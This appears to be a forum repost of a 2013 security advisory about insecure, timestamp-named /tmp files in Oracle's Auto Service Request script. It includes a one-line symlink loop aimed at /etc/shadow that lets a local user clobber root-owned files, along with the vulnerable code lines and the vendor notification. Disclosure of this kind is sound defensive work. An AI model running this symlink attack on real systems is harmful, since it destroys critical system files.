Kwelwild Posted March 1, 2013 Report Posted March 1, 2013 Oracle Auto Service Request insecure creates files in /tmp using time stamps allow for root-owned files to be clobbered.Oracle Auto Service Request /tmp file clobbering vulnerabilityhttp://www.oracle.com/us/support/systems/premier/auto-service-request-155415.htmlhttp://docs.oracle.com/cd/E18476_01/doc.220/e18478/asr.htmI noticed it creates files insecurely in /tmp using time stamps instead of mkstemp(). You can clobber root owned files if you know when around the time the root administrator will be using this utility.[larry@oracle-os-lab01 tmp]$ for x in `seq 500 999`; do ln -s /etc/shadow /tmp/status1_020213003$x; doneroot executes the asr command:[root@oracle-os-lab01 bin]# ./asr register OR register [-e asr-manager-relay-url]: register ASR unregister : unregister ASR show_reg_status : show ASR registration status test_connection : test connection to Oracle... version : show asr script version exit help : display a list of commands ? : display a list of commandsasr> /etc/shadow is now overwritten with the contents of /tmp/status1_020213003722root # cat /etc/shadowid State Bundle68 ACTIVE com.sun.svc.asr.sw_4.3.1 Fragments=69, 7069 RESOLVED com.sun.svc.asr.sw-frag_4.3.1 Master=6870 RESOLVED com.sun.svc.asr.sw-rulesdefinitions_4.3.1 Master=6872 ACTIVE com.sun.svc.asr.sw.http.AsrHttpReceiver_1.0.0 Fragments=7373 RESOLVED com.sun.svc.asr.sw.http-frag_1.0.0 Master=7267 ACTIVE com.sun.svc.ServiceActivation_4.3.1Problem code: The asr binary is a wrapper for a java class, the following snippet of code is where the error lies:/sbin/sh:root@unix-solaris# grep -n tmp asr 409: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`410: file2=/tmp/status2_`date '+%m%d%y%H%M%S'`411: file3=/tmp/status3_`date '+%m%d%y%H%M%S'`557: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`681: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`691: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`706: file1=/tmp/parse_jetty_`date '+%m%d%y%H%M%S'`710: file2=/tmp/parse_jetty_port_`date '+%m%d%y%H%M%S'`797: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`987: hostnameTempFile=/tmp/status1_`date '+%m%d%y%H%M%S'`988: tempFile=/tmp/status2_`date '+%m%d%y%H%M%S'`989: tempHostname=/tmp/status3_`date '+%m%d%y%H%M%S'` 1303: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`1334: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`1343: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`1344: file2=/tmp/status2_`date '+%m%d%y%H%M%S'`1345: file3=/tmp/status3_`date '+%m%d%y%H%M%S'`1405: tempFile=/tmp/localsnmp_`date '+%m%d%y%H%M%S'`2198: tempFile=/tmp/localsnmp_`date '+%m%d%y%H%M%S'`This affects the software package on both Solaris and Linux.Vendor notified about a month ago.?@_larry0Larry W. Cashdollarhttp://otiose.dhs.org/Surs?: Oracle Auto Service Request File Clobber ? Packet Storm Quote